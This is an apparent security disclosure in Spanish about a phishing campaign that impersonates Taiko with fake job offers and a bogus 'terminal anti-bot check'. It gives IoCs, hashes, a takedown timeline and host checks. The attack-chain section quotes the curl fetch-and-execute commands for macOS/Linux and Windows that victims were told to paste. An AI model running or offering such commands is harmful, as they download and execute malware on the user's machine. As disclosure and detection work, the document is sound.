taikotalent.xyz — Troyano de terminal con falso reclutador (IoCs y detección)

ESTADO: RETIRADO. El dominio malicioso taikotalent.xyz fue suspendido por su registrador (clientHold) el 2026-10-10 a las 02:39 UTC — ~12 horas después de nuestro seguimiento respaldado con evidencias a AWS abuse, con el payload aún activo. Verificado el 2026-10-15 mediante RDAP y DNS. Detalles en la cronología a continuación.

ACTUALIZACIÓN 2026-10-15 — DOMINIO DE PHISHING RETIRADO. taikotalent.xyz y hr.taikotalent.xyz ahora devuelven NXDOMAIN (comprobado mediante DNS-over-HTTPS, 2026-10-15) — 10 días después de los informes coordinados del 5 de octubre (caso de AWS 179121234700301, ticket de NameCheap NC-DFA-2100, 13 canales notificados). Las URL del payload (/verify_m, /verify_w) ya no resuelven.

PARCIALMENTE RESUELTO — la capa de C2 sigue activa: api.gaganata.ink (104.21.84.196 / 172.67.196.60) y api.fallgganata.ink todavía resuelven detrás de Cloudflare y responden por HTTP (404 en la sonda, 2026-10-15). Los informes de abuso para los dominios gaganata.ink / fallgganata.ink siguen pendientes con el registrador y Cloudflare (el formulario de abuso requiere navegador + Turnstile).

Estado a 2026-10-09 00:46 UTC (histórico): payload aún activo — https://taikotalent.xyz/verify_m → HTTP 200, 49.916 bytes, idéntico byte a byte a la muestra del 5 de octubre, 4+ días después del informe de abuso a AWS.

Una campaña de phishing dirigida que suplanta a Taiko (la empresa de rollup de Ethereum — dominio real taiko.xyz, sin afiliación con taikotalent.xyz) envía correos de reclutamiento falsos de "vacante de ingeniería" a desarrolladores de código abierto, obtenidos de sus perfiles públicos de GitHub. El falso "portal de solicitudes" termina en una página de "Comprobación anti-bot con Terminal" que convence a la víctima de pegar un comando descargador en su propio terminal — no hace falta ningún exploit, el usuario ejecuta el malware por sí mismo.

Cronología de la retirada

Fecha (UTC)	Evento
2026-10-05	Campaña recibida; muestra puesta en cuarentena; informe forense completo enviado (caso de AWS `179121234700301`, Resend, Taiko)
2026-10-09	Divulgación ampliada: este repo, gist, dev.to, snippet de GitLab, Telegraph; 9 notificaciones más, incl. abuso a NameCheap (→ ticket `NC-DFA-2100`), Softshellweb (host del payload), Cloudflare (C2), APWG, OpenPhish, oss-security, 3 medios de comunicación. El payload sigue idéntico byte a byte y activo
2026-10-15	`taikotalent.xyz` / `hr.taikotalent.xyz` → NXDOMAIN. Infraestructura de phishing caída 10 días después del primer informe. El C2 (`api.gaganata.ink`, `api.fallgganata.ink`) sigue resolviendo detrás de Cloudflare

Por qué esto importa

Lo novedoso: el patrón de ingeniería social del terminal como CAPTCHA — una falsa comprobación anti-bot que convierte ejecutar el stager en el paso de "verificación".
Lo de la rendición de cuentas: reportado por los canales correctos el 5 de octubre (número de caso de AWS, Resend, Taiko) con un informe forense completo; la URL del troyano sigue sirviendo un payload idéntico byte a byte el 9 de octubre.
Lo de la confianza: SPF y DKIM ambos pasan — la autenticación demuestra el control de un dominio de 8 días de antigüedad, no la reputación. Las pasarelas de correo que tratan un DMARC pass como seguridad quedan expuestas.
Lo forense: diseño antiforense — stager autodestructivo, segunda etapa embebida en base64 en /var/tmp/.kdm.*, separada mediante doble fork de perl, bucle de limpieza con 60 reintentos.

Indicadores de Compromiso

Tipo	Valor	Contexto
Dominio	`taikotalent.xyz`	Registrado el 2026-09-27 (Namecheap), 8 días antes de la campaña
Subdominio de envío	`hr.taikotalent.xyz`	DKIM d=; MX → puerta de enlace entrante de AWS SES
Remitente	`[email protected]`	Identidad falsa "Joseph Quintana, Talent, Taiko"
IP de envío	`23.249.215.58`	`d215-58.smtp-out.sa-east-1.amazonses.com` (Amazon SES vía Resend)
Portal	`https://taikotalent.xyz/`	SPA de "invitación privada", códigos Ref por destinatario (`Ref-oxqgd77kb9zw14`)
Exfiltración	`POST /track-activity`	Huella del dispositivo + nombre/email/usuario de GitHub en cada paso del formulario
Payload (macOS/Linux)	`https://taikotalent.xyz/verify_m`	Stager bash "deepfake_guard" de 49.916 B — ACTIVO 2026-10-09
Payload (Windows)	`https://taikotalent.xyz/verify_w`	Lanzador `v.cmd`, ventana oculta
C2	`https://api.gaganata.ink/guard-launcher-result`	Baliza de estado de instalación (Namecheap, con frontend de Cloudflare)
C2 de respaldo	`https://api.fallgganata.ink`	Endpoint secundario
IP del host del payload	`193.160.32.10`	Shock Hosting (US-SHOCK1-20191118)
Segunda etapa	`/var/tmp/.kdm.XXXXXX`	Etapa embebida decodificada en Base64; autoborrado antiforense

Hashes SHA-256 clave

Artefacto	SHA-256
`verify_m` en cuarentena 2026-10-05 (49.916 B)	`c7c22e322c17bda8198257342d4034af6250a5c433242461b870879ba9aa285d`
`verify_m` reobtenido ACTIVO 2026-10-09	`c7c22e322c17bda8198257342d4034af6250a5c433242461b870879ba9aa285d` (idéntico byte a byte)
Correo de phishing original (en bruto)	`84d94746ea1e4642e00bbd6250f8e4fabfeff66b76acd040bb2219412195d564`
Adjunto `.eml` original (11.098 B)	`3a5bb258d76a048d0c3ff8c3671410998ef548968e1ea674b5a9dd367fa3bcf3`
PDF del informe forense (17 páginas, 201.044 B)	`d83bc2d16a1b91e839d8d9ec440b79fe09e73c92bd2a151b843c0182cd604a1c`

Verifícalo tú mismo (no destructivo)

curl -ks https://taikotalent.xyz/verify_m | sha256sum
# -> c7c22e322c17bda8198257342d4034af6250a5c433242461b870879ba9aa285d   (do NOT execute the download)

Detección

YARA (ver yara/bash_stager_taikotalent.yar)

Comprobación de compromiso del host (macOS/Linux):

ls -la /var/tmp/.kdm.* 2>/dev/null
pgrep -fl 'verify_m|deepfake_guard|guard-launcher'
find ~ -maxdepth 2 \( -name 'verify_m' -o -name 'verify_w' -o -name 'v.cmd' \) 2>/dev/null

Red: bloquear/monitorizar la salida hacia *.gaganata.ink, *.fallgganata.ink, taikotalent.xyz (incl. el subdominio hr.).

Administradores de correo: tratar SPF/DKIM pass de dominios registrados recientemente como neutral — autenticación ≠ reputación.

Cadena de ataque

Correo dirigido a un colaborador público de GitHub ofreciendo un puesto de ingeniería en Taiko, desde [email protected] (DKIM s=resend d=hr.taikotalent.xyz, vía Amazon SES sa-east-1, IP 23.249.215.58).
Portal SPA de "invitación privada" con códigos Ref por destinatario; POST /track-activity exfiltra huellas de dispositivos en cada paso.
Página de "comprobación anti-bot con Terminal" que indica pegar un comando en la propia terminal de la víctima:
- macOS/Linux: perl -MPOSIX daemonización con doble fork + curl -ks https://taikotalent.xyz/verify_m -o verify_m && exec bash verify_m
- Windows: start -WindowStyle Hidden cmd '/c curl -ks https://taikotalent.xyz/verify_w -o v.cmd&&v.cmd'
Stager deepfake_guard: se relanza de forma independiente mediante nohup, envía balizas a api.gaganata.ink/guard-launcher-result (respaldo api.fallgganata.ink), decodifica la segunda etapa embebida en base64 a /var/tmp/.kdm.XXXXXX, la ejecuta con los endpoints de C2 como variables de entorno y luego se autodestruye el lanzador, el archivo de estado y los artefactos de /var/tmp (bucle antiforense de 60 reintentos).

Más Populares

taikotalent-phishing-iocs